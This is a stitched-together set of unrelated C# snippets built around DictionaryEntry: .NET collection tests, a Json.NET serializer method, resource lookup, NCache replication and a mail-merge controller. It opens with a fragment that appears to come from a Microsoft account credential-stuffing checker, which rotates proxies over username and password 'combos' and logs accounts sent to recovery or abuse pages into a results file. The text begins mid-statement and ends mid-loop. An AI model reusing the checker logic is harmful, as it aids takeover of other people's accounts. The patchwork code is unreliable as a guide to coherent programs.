(text0.Contains("action=\"https://account.live.com/recover") || text0.Contains("action=\"https://account.live.com/Abuse") || text0.Contains("action=\"https://account.live.com/ar/cancel") || text0.Contains("action=\"https://account.live.com/identity/confirm") || text0.Contains("title>Help us protect your account") || text0.Contains("action=\"https://account.live.com/RecoverAccount") || text0.Contains("action=\"https://account.live.com/Email/Confirm") || text0.Contains("action=\"https://account.live.com/Email/Confirm") || text0.Contains("action=\"https://account.live.com/Abuse") || text0.Contains("action=\"https://account.live.com/profile/accrue")) { Variables.Custom++; Variables.Checked++; Variables.cps++; lock (Variables.WriteLock) { Variables.remove(combo); File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine); } } else { Variables.combos.Enqueue(combo); Variables.proxyIndex++; Variables.Errors++; } } } catch { Variables.combos.Enqueue(combo); Variables.proxyIndex++; Variables.Errors++; } }
public bool PosTest6() { bool retVal = true; DictionaryEntry de; string value; TestLibrary.TestFramework.BeginScenario("PosTest6: boxed string value as value"); try { value = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN); de = new DictionaryEntry(new object(), (object)value); if (!value.Equals(de.Value)) { TestLibrary.TestFramework.LogError("011", "Value is not " + value + " as expected: Actual(" + de.Value + ")"); retVal = false; } } catch (Exception e) { TestLibrary.TestFramework.LogError("012" ,"Unexpected exception: " + e); retVal = false; } return retVal; }
private void initResponseForm() { DictionaryEntry[] responses = new DictionaryEntry[] { new DictionaryEntry("ok", "OK"), new DictionaryEntry("tout", "Timeout"), new DictionaryEntry("fail", "Fail") }; ddlResponse.DataSource = responses; ddlResponse.DataValueField = "Key"; ddlResponse.DataTextField = "Value"; ddlResponse.DataBind(); ddlResponse.Enabled = true; btnSendResponse.Enabled = true; btnGetResponseUrl.Enabled = true; hlResponse.Visible = true; createResponse("ok"); }
internal WrapperDictionaryEnumerator(object sync, IDictionaryEnumerator enumerator) { this.enumerator = enumerator; this.sync = sync; entry = default; }
public bool PosTest4() { bool retVal = true; DictionaryEntry de; string key; TestLibrary.TestFramework.BeginScenario("PosTest4: boxed string value as key"); try { key = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN); de = new DictionaryEntry(key, new object()); if (!key.Equals(de.Key)) { TestLibrary.TestFramework.LogError("007", "Key is not " + key + " as expected: Actual(" + de.Key + ")"); retVal = false; } } catch (Exception e) { TestLibrary.TestFramework.LogError("008", "Unexpected exception: " + e); retVal = false; } return retVal; }
/// <summary>Converts a <seealso cref="DictionaryEntry"/> into a <seealso cref="KeyValuePair{TKey, TValue}"/>.</summary> /// <typeparam name="TKey">The type of the key in the <seealso cref="KeyValuePair{TKey, TValue}"/>.</typeparam> /// <typeparam name="TValue">The type of the value in the <seealso cref="KeyValuePair{TKey, TValue}"/>.</typeparam> /// <param name="entry">The entry to convert into a <seealso cref="KeyValuePair{TKey, TValue}"/>.</param> /// <returns>A <seealso cref="KeyValuePair{TKey, TValue}"/> constructed from the given <seealso cref="DictionaryEntry"/> whose key and value components are strongly typed.</returns> public static KeyValuePair <TKey, TValue?> ToKeyValuePair <TKey, TValue>(this DictionaryEntry entry) { return(new((TKey)entry.Key, (TValue?)entry.Value)); }
// pseudo SAX reader public static void xmlparse(string fname) { XmlReader reader = new XmlTextReader(fname); string line; urls = new ArrayList(); int cnt = 0; // http://msdn.microsoft.com/en-us/library/1z92b1d4.aspx // http://msdn.microsoft.com/en-us/library/system.xml.xmlreader.readsubtree.aspx while (reader.Read()) { if (reader.MoveToContent() == XmlNodeType.Element && reader.Name == "formvals") { XmlReader inner = reader.ReadSubtree(); StringDictionary myCol = new StringDictionary(); while (inner.Read()) { if (inner.MoveToContent() == XmlNodeType.Element && inner.Name == "input") { inner.MoveToFirstAttribute(); // to avoid dependency on the attribute order, key them by the attribute name // amended with the unique count of the current input element. myCol.Add(String.Format("{0}-{1}", inner.Name, cnt.ToString()), inner.Value); inner.MoveToNextAttribute(); myCol.Add(String.Format("{0}-{1}", inner.Name, cnt.ToString()), inner.Value); cnt++; } DictionaryEntry[] myArr = new DictionaryEntry[myCol.Count]; myCol.CopyTo(myArr, 0); for (int i = 0; i < myArr.Length; i++) { try{ string inputNameRegExp = @"name\-(?<input>\d+)"; MatchCollection myMatchCollection = Regex.Matches(myArr[i].Key.ToString(), inputNameRegExp ); foreach (Match myMatch in myMatchCollection) { string pos = myMatch.Groups["input"].Value.ToString(); // do not use StringDictionary for final formvals or you have your keyc converted to lower case. formvals.Add(myCol[String.Format("name-{0}", pos)], myCol[String.Format("value-{0}", pos)]); } } catch (Exception e) { Console.WriteLine(e.ToString()); } } myCol.Clear(); } foreach ( KeyValuePair<string, string> kvp in formvals ) Console.WriteLine("formvals[ {0} ] = {1}", kvp.Key, kvp.Value); inner.Close(); } if (reader.MoveToContent() == XmlNodeType.Element && reader.Name == "url") { line = reader.ReadString(); urls.Add(line); Console.WriteLine(line); } } }
private object?GetObject(string key, bool ignoreCase, bool isString) { if (key == null) { throw new ArgumentNullException(nameof(key)); } if (Reader == null || _resCache == null) { throw new ObjectDisposedException(null, SR.ObjectDisposed_ResourceSet); } object? value = null; ResourceLocator resLocation; lock (Reader) { if (Reader == null) { throw new ObjectDisposedException(null, SR.ObjectDisposed_ResourceSet); } if (_defaultReader != null) { // Find the offset within the data section int dataPos = -1; if (_resCache.TryGetValue(key, out resLocation)) { value = resLocation.Value; dataPos = resLocation.DataPosition; } if (dataPos == -1 && value == null) { dataPos = _defaultReader.FindPosForResource(key); } if (dataPos != -1 && value == null) { Debug.Assert(dataPos >= 0, "data section offset cannot be negative!"); // Normally calling LoadString or LoadObject requires // taking a lock. Note that in this case, we took a // lock on the entire RuntimeResourceSet, which is // sufficient since we never pass this ResourceReader // to anyone else. ResourceTypeCode typeCode; if (isString) { value = _defaultReader.LoadString(dataPos); typeCode = ResourceTypeCode.String; } else { value = _defaultReader.LoadObject(dataPos, out typeCode); } resLocation = new ResourceLocator(dataPos, (ResourceLocator.CanCache(typeCode)) ? value : null); lock (_resCache) { _resCache[key] = resLocation; } } if (value != null || !ignoreCase) { return(value); // may be null } } // if (_defaultReader != null) // At this point, we either don't have our default resource reader // or we haven't found the particular resource we're looking for // and may have to search for it in a case-insensitive way. if (!_haveReadFromReader) { // If necessary, init our case insensitive hash table. if (ignoreCase) { _caseInsensitiveTable ??= new Dictionary <string, ResourceLocator>(StringComparer.OrdinalIgnoreCase); } if (_defaultReader == null) { IDictionaryEnumerator en = Reader.GetEnumerator(); while (en.MoveNext()) { DictionaryEntry entry = en.Entry; string readKey = (string)entry.Key; ResourceLocator resLoc = new ResourceLocator(-1, entry.Value); _resCache.Add(readKey, resLoc); if (ignoreCase) { Debug.Assert(_caseInsensitiveTable != null); _caseInsensitiveTable.Add(readKey, resLoc); } } // Only close the reader if it is NOT our default one, // since we need it around to resolve ResourceLocators. if (!ignoreCase) { Reader.Close(); } } else { Debug.Assert(ignoreCase, "This should only happen for case-insensitive lookups"); Debug.Assert(_caseInsensitiveTable != null); ResourceReader.ResourceEnumerator en = _defaultReader.GetEnumeratorInternal(); while (en.MoveNext()) { // Note: Always ask for the resource key before the data position. string currentKey = (string)en.Key; int dataPos = en.DataPosition; ResourceLocator resLoc = new ResourceLocator(dataPos, null); _caseInsensitiveTable.Add(currentKey, resLoc); } } _haveReadFromReader = true; } object?obj = null; bool found = false; bool keyInWrongCase = false; if (_defaultReader != null) { if (_resCache.TryGetValue(key, out resLocation)) { found = true; obj = ResolveResourceLocator(resLocation, key, _resCache, keyInWrongCase); } } if (!found && ignoreCase) { Debug.Assert(_caseInsensitiveTable != null); if (_caseInsensitiveTable.TryGetValue(key, out resLocation)) { found = true; keyInWrongCase = true; obj = ResolveResourceLocator(resLocation, key, _resCache, keyInWrongCase); } } return(obj); } // lock(Reader) }
public VerbStemWithGeneratedForms(Conjugation conjugation, string stemPart, DictionaryEntry entry) : base(conjugation, stemPart, entry) { }
private void SerializeDictionary(JsonWriter writer, IDictionary values, JsonDictionaryContract contract, JsonProperty member, JsonContainerContract collectionContract, JsonProperty containerProperty) { object underlyingDictionary = values is IWrappedDictionary wrappedDictionary ? wrappedDictionary.UnderlyingDictionary : values; OnSerializing(writer, contract, underlyingDictionary); _serializeStack.Add(underlyingDictionary); WriteObjectStart(writer, underlyingDictionary, contract, member, collectionContract, containerProperty); if (contract.ItemContract == null) { contract.ItemContract = Serializer._contractResolver.ResolveContract(contract.DictionaryValueType ?? typeof(object)); } if (contract.KeyContract == null) { contract.KeyContract = Serializer._contractResolver.ResolveContract(contract.DictionaryKeyType ?? typeof(object)); } int initialDepth = writer.Top; // Manual use of IDictionaryEnumerator instead of foreach to avoid DictionaryEntry box allocations. IDictionaryEnumerator e = values.GetEnumerator(); try { while (e.MoveNext()) { DictionaryEntry entry = e.Entry; string propertyName = GetPropertyName(writer, entry.Key, contract.KeyContract, out bool escape); propertyName = (contract.DictionaryKeyResolver != null) ? contract.DictionaryKeyResolver(propertyName) : propertyName; try { object value = entry.Value; JsonContract valueContract = contract.FinalItemContract ?? GetContractSafe(value); if (ShouldWriteReference(value, null, valueContract, contract, member)) { writer.WritePropertyName(propertyName, escape); WriteReference(writer, value); } else { if (!CheckForCircularReference(writer, value, null, valueContract, contract, member)) { continue; } writer.WritePropertyName(propertyName, escape); SerializeValue(writer, value, valueContract, null, contract, member); } } catch (Exception ex) { if (IsErrorHandled(underlyingDictionary, contract, propertyName, null, writer.ContainerPath, ex)) { HandleError(writer, initialDepth); } else { throw; } } } } finally { (e as IDisposable)?.Dispose(); } writer.WriteEndObject(); _serializeStack.RemoveAt(_serializeStack.Count - 1); OnSerialized(writer, contract, underlyingDictionary); }
public bool runTest() { int iCountTestcases = 0; int iCountErrors = 0; ///////////////// TEST 1 //[]make new valid dictionary entry TestLibrary.Logging.WriteLine( "make new valid dictionary entry" ); try { ++iCountTestcases; DictionaryEntry de = new DictionaryEntry( 1, 2 ); if ( ! 1.Equals( de.Key ) ) { ++iCountErrors; TestLibrary.Logging.WriteLine( "Err_001a, incorrect key" ); } if ( ! 2.Equals( de.Value ) ) { ++iCountErrors; TestLibrary.Logging.WriteLine( "Err_001b, incorrect value" ); } } catch (Exception ex) { ++iCountErrors; TestLibrary.Logging.WriteLine( "Err_001c, Unexpected exception was thrown ex: " + ex ); } //////////////// TEST 2 //[]make dictionary entry which should throw ArgumentNullException since key is null TestLibrary.Logging.WriteLine( "make dictionary entry which should throw ArgumentNullException since key is null" ); try { ++iCountTestcases; DictionaryEntry de = new DictionaryEntry( null, 1 ); if ( de.Key != null ) { ++iCountErrors; TestLibrary.Logging.WriteLine( "Err_002a, incorrect key" ); } if ( !de.Value.Equals(1) ) { ++iCountErrors; TestLibrary.Logging.WriteLine( "Err_002b, incorrect value" ); } } catch (Exception ex) { ++iCountErrors; TestLibrary.Logging.WriteLine( "Err_002c, Excpected ArgumentNullException but thrown ex: " + ex.ToString() ); } ///////////////// TEST 3 //[]make new valid dictionary entry with value null TestLibrary.Logging.WriteLine( "make new valid dictionary entry with value null" ); try { ++iCountTestcases; DictionaryEntry de = new DictionaryEntry( this, null ); if ( ! this.Equals( de.Key ) ) { ++iCountErrors; TestLibrary.Logging.WriteLine( "Err_003a, incorrect key" ); } if ( de.Value != null ) { ++iCountErrors; TestLibrary.Logging.WriteLine( "Err_003b, incorrect value" ); } } catch (Exception ex) { ++iCountErrors; TestLibrary.Logging.WriteLine( "Err_003c, Unexpected exception was thrown ex: " + ex.ToString() ); } return (iCountErrors == 0 ); }
// GET: /<controller>/ public IActionResult NestedMailMerge(string Group1, string Group2, string Group3, string Button) { if (Group1 == null || Group2 == null || Group3 == null) { return(View()); } string basePath = _hostingEnvironment.WebRootPath; string dataPath = string.Empty; if (Group2 == "Report") { dataPath = basePath + @"/DocIO/Template_Report.doc"; } else { dataPath = basePath + @"/DocIO/Template_Letter.doc"; } string contenttype1 = "application/msword"; string dataPath1 = basePath + @"/DocIO/Template_Report.doc"; string dataPath2 = basePath + @"/DocIO/Template_Letter.doc"; FileStream fileStream1 = new FileStream(dataPath1, FileMode.Open, FileAccess.Read, FileShare.ReadWrite); FileStream fileStream2 = new FileStream(dataPath2, FileMode.Open, FileAccess.Read, FileShare.ReadWrite); if (Button == "View Template") { if (Group2 == "Report") { return(File(fileStream1, contenttype1, "Template_Report.doc")); } else { return(File(fileStream2, contenttype1, "Template_Letter.doc")); } } fileStream1.Dispose(); fileStream1 = null; fileStream2.Dispose(); fileStream2 = null; // Creating a new document. WordDocument document = new WordDocument(); // Load template FileStream fileStream = new FileStream(dataPath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite); document.Open(fileStream, FormatType.Doc); fileStream.Dispose(); fileStream = null; #region Execute Mail merge if (Group3 == "Explicit") { MailMergeDataSet dataSet = GetMailMergeDataSet(basePath); List <DictionaryEntry> commands = new List <DictionaryEntry>(); //DictionaryEntry contain "Source table" (KEY) and "Command" (VALUE) DictionaryEntry entry = new DictionaryEntry("Employees", string.Empty); commands.Add(entry); // To retrive customer details entry = new DictionaryEntry("Customers", "EmployeeID = %Employees.EmployeeID%"); commands.Add(entry); // To retrieve order details entry = new DictionaryEntry("Orders", "CustomerID = %Customers.CustomerID%"); commands.Add(entry); //Executes nested Mail merge using explicit relational data. document.MailMerge.ExecuteNestedGroup(dataSet, commands); } else { MailMergeDataTable dataTable = GetMailMergeDataTable(basePath); //Executes nested Mail merge using implicit relational data. document.MailMerge.ExecuteNestedGroup(dataTable); } #endregion FormatType type = FormatType.Docx; string filename = "Sample.docx"; string contenttype = "application/vnd.ms-word.document.12"; #region Document SaveOption //Save as .doc format if (Group1 == "WordDoc") { type = FormatType.Doc; filename = "Sample.doc"; contenttype = "application/msword"; } //Save as .xml format else if (Group1 == "WordML") { type = FormatType.WordML; filename = "Sample.xml"; contenttype = "application/msword"; } #endregion Document SaveOption MemoryStream ms = new MemoryStream(); document.Save(ms, type); document.Close(); ms.Position = 0; return(File(ms, contenttype, filename)); }
public bool PosTest5() { bool retVal = true; DictionaryEntry de; int value; TestLibrary.TestFramework.BeginScenario("PosTest5: boxed integral value as value"); try { value = TestLibrary.Generator.GetInt32(-55); de = new DictionaryEntry(new object(), (object)value); if (value != (int)de.Value) { TestLibrary.TestFramework.LogError("009", "Value is not " + value + " as expected: Actual(" + de.Value + ")"); retVal = false; } } catch (Exception e) { TestLibrary.TestFramework.LogError("010", "Unexpected exception: " + e); retVal = false; } return retVal; }
public DictionaryEnumerator(IDictionary <TKey, TValue> innerDictionary) { _innerEnumerator = (innerDictionary ?? new Dictionary <TKey, TValue>()).GetEnumerator(); try { Entry = new DictionaryEntry(_innerEnumerator.Current.Key, _innerEnumerator.Current.Value); } catch { Entry = new DictionaryEntry(); } }
public bool MoveNext() { if (_innerEnumerator.MoveNext()) { Entry = new DictionaryEntry(_innerEnumerator.Current.Key, _innerEnumerator.Current.Value); return(true); } try { Entry = new DictionaryEntry(_innerEnumerator.Current.Key, _innerEnumerator.Current.Value); } catch { Entry = new DictionaryEntry(); } return(false); }
public void Reset() { _innerEnumerator.Reset(); try { Entry = new DictionaryEntry(_innerEnumerator.Current.Key, _innerEnumerator.Current.Value); } catch { Entry = new DictionaryEntry(); } }
public bool PosTest3() { bool retVal = true; DictionaryEntry de; int key; TestLibrary.TestFramework.BeginScenario("PosTest3: boxed integral value as key"); try { key = TestLibrary.Generator.GetInt32(-55); de = new DictionaryEntry((object)key, new object()); if (key != (int)de.Key) { TestLibrary.TestFramework.LogError("005", "Key is not " + key + " as expected: Actual(" + de.Key + ")"); retVal = false; } } catch (Exception e) { TestLibrary.TestFramework.LogError("006", "Unexpected exception: " + e); retVal = false; } return retVal; }
/// <summary> /// replication thread function. /// note: While replicating operations, a dummy '0' sequence id is passed. /// this sequence id is totally ignored by asynchronous POR, but we are keeping it /// to maintain the symmetry in API. /// </summary> public void Run() { ArrayList opCodesToBeReplicated = new ArrayList(_bulkKeysToReplicate); ArrayList infoToBeReplicated = new ArrayList(_bulkKeysToReplicate); ArrayList compilationInfo = new ArrayList(_bulkKeysToReplicate); ArrayList userPayLoad = new ArrayList(); try { while (!stopped || _queue.Count > 0) { DateTime startedAt = DateTime.Now; DateTime finishedAt = DateTime.Now; try { for (int i = 0; _queue.Count > 0 && i < _bulkKeysToReplicate; i++) { IOptimizedQueueOperation operation = null; operation = _queue.Dequeue(); DictionaryEntry entry = (DictionaryEntry)operation.Data; opCodesToBeReplicated.Add(entry.Key); infoToBeReplicated.Add(entry.Value); if (operation.UserPayLoad != null) { for (int j = 0; j < operation.UserPayLoad.Length; j++) { userPayLoad.Add(operation.UserPayLoad.GetValue(j)); } } compilationInfo.Add(operation.PayLoadSize); } object[] updateIndexKeys = GetIndexOperations(); if (!stopped) { if (opCodesToBeReplicated.Count > 0 || updateIndexKeys != null) { if (updateIndexKeys != null) { opCodesToBeReplicated.Add((int)ClusterCacheBase.OpCodes.UpdateIndice); infoToBeReplicated.Add(updateIndexKeys); } _context.CacheImpl.ReplicateOperations(opCodesToBeReplicated.ToArray(), infoToBeReplicated.ToArray(), userPayLoad.ToArray(), compilationInfo, _context.CacheImpl.OperationSequenceId, _context.CacheImpl.CurrentViewId); } } if (!stopped && _context.PerfStatsColl != null) { _context.PerfStatsColl.IncrementMirrorQueueSizeStats(_queue.Count); } } catch (Exception e) { if (e.Message.IndexOf("operation timeout", StringComparison.OrdinalIgnoreCase) >= 0) { _context.NCacheLog.CriticalInfo("AsyncReplicator.Run", "Bulk operation timedout. Retrying the operation."); try { if (!stopped) { _context.CacheImpl.ReplicateOperations(opCodesToBeReplicated.ToArray(), infoToBeReplicated.ToArray(), userPayLoad.ToArray(), compilationInfo, 0, 0); _context.NCacheLog.CriticalInfo("AsyncReplicator.Run", "RETRY is successfull."); } } catch (Exception ex) { if (_context.NCacheLog.IsErrorEnabled) { _context.NCacheLog.Error("AsyncReplicator.RUN", "Error occurred while retrying operation. " + ex.ToString()); } } } else if (_context.NCacheLog.IsErrorEnabled) { _context.NCacheLog.Error("AsyncReplicator.RUN", e.ToString()); } } finally { opCodesToBeReplicated.Clear(); infoToBeReplicated.Clear(); compilationInfo.Clear(); userPayLoad.Clear(); finishedAt = DateTime.Now; } if (_queue.Count > 0) { continue; } if ((finishedAt.Ticks - startedAt.Ticks) < _interval.Ticks) { Thread.Sleep(_interval.Subtract(finishedAt.Subtract(startedAt))); } else { Thread.Sleep(_interval); } } } catch (ThreadAbortException ta) { } catch (ThreadInterruptedException ti) { } catch (NullReferenceException) { } catch (Exception e) { if (!stopped) { _context.NCacheLog.Error("AsyncReplicator.RUN", "Async replicator stopped. " + e.ToString()); } } }
private void DoICollectionTests(SortedList good, ICollection bad, Hashtable hsh1, DicType dic) { if (good.Count != bad.Count) hsh1["Count"] = ""; if (good.IsSynchronized != bad.IsSynchronized) hsh1["IsSynchronized"] = ""; if (good.SyncRoot != bad.SyncRoot) hsh1["SyncRoot"] = ""; //CopyTo string[] iArr1 = null; string[] iArr2 = null; DictionaryEntry[] dicEnt1; //CopyTo() copies the values!!! iArr1 = new string[good.Count]; iArr2 = new string[good.Count]; bad.CopyTo(iArr2, 0); if (dic == DicType.Value) { dicEnt1 = new DictionaryEntry[good.Count]; good.CopyTo(dicEnt1, 0); for (int i = 0; i < good.Count; i++) iArr1[i] = (string)((DictionaryEntry)dicEnt1[i]).Value; for (int i = 0; i < iArr1.Length; i++) { if (!iArr1[i].Equals(iArr2[i])) hsh1["CopyTo"] = "vanila"; } iArr1 = new string[good.Count + 5]; iArr2 = new string[good.Count + 5]; for (int i = 0; i < good.Count; i++) iArr1[i + 5] = (string)((DictionaryEntry)dicEnt1[i]).Value; bad.CopyTo(iArr2, 5); for (int i = 5; i < iArr1.Length; i++) { if (!iArr1[i].Equals(iArr2[i])) { hsh1["CopyTo"] = "5"; } } } else if (dic == DicType.Key) { for (int i = 0; i < iArr1.Length; i++) { if (!good.Contains(iArr2[i])) hsh1["CopyTo"] = "Key"; } } try { bad.CopyTo(iArr2, -1); hsh1["CopyTo"] = ""; } catch (ArgumentException) { } catch (Exception ex) { hsh1["CopyTo"] = ex; } try { bad.CopyTo(null, 5); hsh1["CopyTo"] = ""; } catch (ArgumentNullException) { } catch (Exception ex) { hsh1["CopyTo"] = ex; } //Enumerator IEnumerator ienm1; IEnumerator ienm2; ienm1 = good.GetEnumerator(); ienm2 = bad.GetEnumerator(); DoTheEnumerator(ienm1, ienm2, hsh1, dic, good); }
public bool runTest() { Console.WriteLine(s_strTFPath + " " + s_strTFName + " , for " + s_strClassMethod + " , Source ver : " + s_strDtTmVer); int iCountErrors = 0; int iCountTestcases = 0; String strLoc = "Loc_000oo"; Hashtable hsh1; String strValue; Thread[] workers; ThreadStart ts1; Int32 iNumberOfWorkers = 15; Boolean fLoopExit; DictionaryEntry[] strValueArr; String[] strKeyArr; Hashtable hsh3; Hashtable hsh4; IDictionaryEnumerator idic; MemoryStream ms1; Boolean fPass; Object oValue; try { do { hsh1 = new Hashtable(); for(int i=0; i<iNumberOfElements; i++) { hsh1.Add("Key_" + i, "Value_" + i); } hsh2 = Hashtable.Synchronized(hsh1); fPass = true; iCountTestcases++; if(hsh2.Count != hsh1.Count) { iCountErrors++; Console.WriteLine("Err_742dsf! Expected value not returned, " + hsh2.Count); } for(int i=0; i<iNumberOfElements; i++) { if(!((String)hsh2["Key_" + i]).Equals("Value_" + i)) { Console.WriteLine(hsh2["Key_" + i]); fPass = false; } } try { oValue = hsh2[null]; fPass = false; } catch(ArgumentNullException) { } catch(Exception) { fPass = false; } hsh2.Clear(); for(int i=0; i<iNumberOfElements; i++) { hsh2["Key_" + i] = "Value_" + i; } if(!fPass) { iCountErrors++; Console.WriteLine("Err_752dsgf! Oh man! This is busted!!!!"); } strValueArr = new DictionaryEntry[hsh2.Count]; hsh2.CopyTo(strValueArr, 0); hsh3 = new Hashtable(); for(int i=0; i<iNumberOfElements; i++) { if(!hsh2.Contains("Key_" + i)) { iCountErrors++; Console.WriteLine("Err_742ds8f! Expected value not returned, " + hsh2.Contains("Key_" + i)); } if(!hsh2.ContainsKey("Key_" + i)) { iCountErrors++; Console.WriteLine("Err_742389dsaf! Expected value not returned, " + hsh2.ContainsKey("Key_" + i)); } if(!hsh2.ContainsValue("Value_" + i)) { iCountErrors++; Console.WriteLine("Err_563fgd! Expected value not returned, " + hsh2.ContainsValue("Value_" + i)); } if(!hsh1.ContainsValue(((DictionaryEntry)strValueArr[i]).Value)) { iCountErrors++; Console.WriteLine("Err_87429dsfd! Expected value not returned, " + ((DictionaryEntry)strValueArr[i]).Value); } try { hsh3.Add(strValueArr[i], null); } catch(Exception) { iCountErrors++; Console.WriteLine("Err_74298dsd! Exception thrown for " + strValueArr[i]); } } hsh4 = (Hashtable)hsh2.Clone(); if(hsh4.Count != hsh1.Count) { iCountErrors++; Console.WriteLine("Err_342342! Expected value not returned, " + hsh4.Count); } strValueArr = new DictionaryEntry[hsh4.Count]; hsh4.CopyTo(strValueArr, 0); hsh3 = new Hashtable(); for(int i=0; i<iNumberOfElements; i++) { if(!hsh4.Contains("Key_" + i)) { iCountErrors++; Console.WriteLine("Err_742ds8f! Expected value not returned, " + hsh4.Contains("Key_" + i)); } if(!hsh4.ContainsKey("Key_" + i)) { iCountErrors++; Console.WriteLine("Err_742389dsaf! Expected value not returned, " + hsh4.ContainsKey("Key_" + i)); } if(!hsh4.ContainsValue("Value_" + i)) { iCountErrors++; Console.WriteLine("Err_6-4142dsf! Expected value not returned, " + hsh4.ContainsValue("Value_" + i)); } if(!hsh1.ContainsValue(((DictionaryEntry)strValueArr[i]).Value)) { iCountErrors++; Console.WriteLine("Err_87429dsfd! Expected value not returned, " + ((DictionaryEntry)strValueArr[i]).Value); } try { hsh3.Add(((DictionaryEntry)strValueArr[i]).Value, null); } catch(Exception) { iCountErrors++; Console.WriteLine("Err_74298dsd! Exception thrown for " + ((DictionaryEntry)strValueArr[i]).Value); } } if(hsh4.IsReadOnly) { iCountErrors++; Console.WriteLine("Err_723sadf! Expected value not returned, " + hsh4.IsReadOnly); } if(!hsh4.IsSynchronized) { iCountErrors++; Console.WriteLine("Err_723sadf! Expected value not returned, " + hsh4.IsSynchronized); } idic = hsh2.GetEnumerator(); hsh3 = new Hashtable(); hsh4 = new Hashtable(); while(idic.MoveNext()) { if(!hsh2.ContainsKey(idic.Key)) { iCountErrors++; Console.WriteLine("Err_4532sfds! Expected value not returned"); } if(!hsh2.ContainsValue(idic.Value)) { iCountErrors++; Console.WriteLine("Err_682wm! Expected value not returned"); } try { hsh3.Add(idic.Key, null); } catch(Exception) { iCountErrors++; Console.WriteLine("Err_5243sfd! Exception thrown for " + idic.Key); } try { hsh4.Add(idic.Value, null); } catch(Exception) { iCountErrors++; Console.WriteLine("Err_25sfs! Exception thrown for " + idic.Value); } } BinaryFormatter formatter = new BinaryFormatter(); ms1 = new MemoryStream(); formatter.Serialize(ms1, hsh2); ms1.Position = 0; hsh4 = (Hashtable)formatter.Deserialize(ms1); if(hsh4.Count != hsh1.Count) { iCountErrors++; Console.WriteLine("Err_072xsf! Expected value not returned, " + hsh4.Count); } strValueArr = new DictionaryEntry[hsh4.Count]; hsh4.CopyTo(strValueArr, 0); hsh3 = new Hashtable(); for(int i=0; i<iNumberOfElements; i++) { if(!hsh4.Contains("Key_" + i)) { iCountErrors++; Console.WriteLine("Err_742ds8f! Expected value not returned, " + hsh4.Contains("Key_" + i)); } if(!hsh4.ContainsKey("Key_" + i)) { iCountErrors++; Console.WriteLine("Err_742389dsaf! Expected value not returned, " + hsh4.ContainsKey("Key_" + i)); } if(!hsh4.ContainsValue("Value_" + i)) { iCountErrors++; Console.WriteLine("Err_0672esfs! Expected value not returned, " + hsh4.ContainsValue("Value_" + i)); } if(!hsh1.ContainsValue(((DictionaryEntry)strValueArr[i]).Value)) { iCountErrors++; Console.WriteLine("Err_87429dsfd! Expected value not returned, " + ((DictionaryEntry)strValueArr[i]).Value); } try { hsh3.Add(((DictionaryEntry)strValueArr[i]).Value, null); } catch(Exception) { iCountErrors++; Console.WriteLine("Err_74298dsd! Exception thrown for " + strValueArr[i]); } } if(hsh4.IsReadOnly) { iCountErrors++; Console.WriteLine("Err_723sadf! Expected value not returned, " + hsh4.IsReadOnly); } if(!hsh4.IsSynchronized) { iCountErrors++; Console.WriteLine("Err_723sadf! Expected value not returned, " + hsh4.IsSynchronized); } if(hsh2.IsReadOnly) { iCountErrors++; Console.WriteLine("Err_723sadf! Expected value not returned, " + hsh2.IsReadOnly); } if(!hsh2.IsSynchronized) { iCountErrors++; Console.WriteLine("Err_723sadf! Expected value not returned, " + hsh2.IsSynchronized); } if(hsh2.SyncRoot != hsh1) { iCountErrors++; Console.WriteLine("Err_7428dsafd! Expected value not returned, "); } String[] strValueArr11 = new String[hsh1.Count]; strKeyArr = new String[hsh1.Count]; hsh2.Keys.CopyTo(strKeyArr, 0); hsh2.Values.CopyTo(strValueArr11, 0); hsh3 = new Hashtable(); hsh4 = new Hashtable(); for(int i=0; i<iNumberOfElements; i++) { if(!hsh2.ContainsKey(strKeyArr[i])) { iCountErrors++; Console.WriteLine("Err_4532sfds! Expected value not returned"); } if(!hsh2.ContainsValue(strValueArr11[i])) { iCountErrors++; Console.WriteLine("Err_074dsd! Expected value not returned, " + strValueArr11[i]); } try { hsh3.Add(strKeyArr[i], null); } catch(Exception) { iCountErrors++; Console.WriteLine("Err_5243sfd! Exception thrown for " + idic.Key); } try { hsh4.Add(strValueArr11[i], null); } catch(Exception) { iCountErrors++; Console.WriteLine("Err_25sfs! Exception thrown for " + idic.Value); } } hsh2.Remove("Key_1"); if(hsh2.ContainsKey("Key_1")) { iCountErrors++; Console.WriteLine("Err_423ewd! Expected value not returned, "); } if(hsh2.ContainsValue("Value_1")) { iCountErrors++; Console.WriteLine("Err_64q213d! Expected value not returned, "); } hsh2.Add("Key_1", "Value_1"); if(!hsh2.ContainsKey("Key_1")) { iCountErrors++; Console.WriteLine("Err_423ewd! Expected value not returned, "); } if(!hsh2.ContainsValue("Value_1")) { iCountErrors++; Console.WriteLine("Err_74523esf! Expected value not returned, "); } hsh2["Key_1"] = "Value_Modified_1"; if(!hsh2.ContainsKey("Key_1")) { iCountErrors++; Console.WriteLine("Err_423ewd! Expected value not returned, "); } if(hsh2.ContainsValue("Value_1")) { iCountErrors++; Console.WriteLine("Err_74523esf! Expected value not returned, "); } if(!hsh2.ContainsValue("Value_Modified_1")) { iCountErrors++; Console.WriteLine("Err_342fs! Expected value not returned, "); } hsh3 = Hashtable.Synchronized(hsh2); if(hsh3.Count != hsh1.Count) { iCountErrors++; Console.WriteLine("Err_742dsf! Expected value not returned, " + hsh3.Count); } if(!hsh3.IsSynchronized) { iCountErrors++; Console.WriteLine("Err_723sadf! Expected value not returned, " + hsh3.IsSynchronized); } hsh2.Clear(); if(hsh2.Count != 0) { iCountErrors++; Console.WriteLine("Err_742dsf! Expected value not returned, " + hsh2.Count); } strLoc = "Loc_8345vdfv"; hsh1 = new Hashtable(); hsh2 = Hashtable.Synchronized(hsh1); workers = new Thread[iNumberOfWorkers]; ts1 = new ThreadStart(AddElements); for(int i=0; i<workers.Length; i++) { workers[i] = new Thread(ts1); workers[i].Name = "Thread worker " + i; workers[i].Start(); } while(true) { fLoopExit=false; for(int i=0; i<iNumberOfWorkers;i++) { if(workers[i].IsAlive) fLoopExit=true; } if(!fLoopExit) break; } iCountTestcases++; if(hsh2.Count != iNumberOfElements*iNumberOfWorkers) { iCountErrors++; Console.WriteLine("Err_75630fvbdf! Expected value not returned, " + hsh2.Count); } iCountTestcases++; for(int i=0; i<iNumberOfWorkers; i++) { for(int j=0; j<iNumberOfElements; j++) { strValue = "Thread worker " + i + "_" + j; 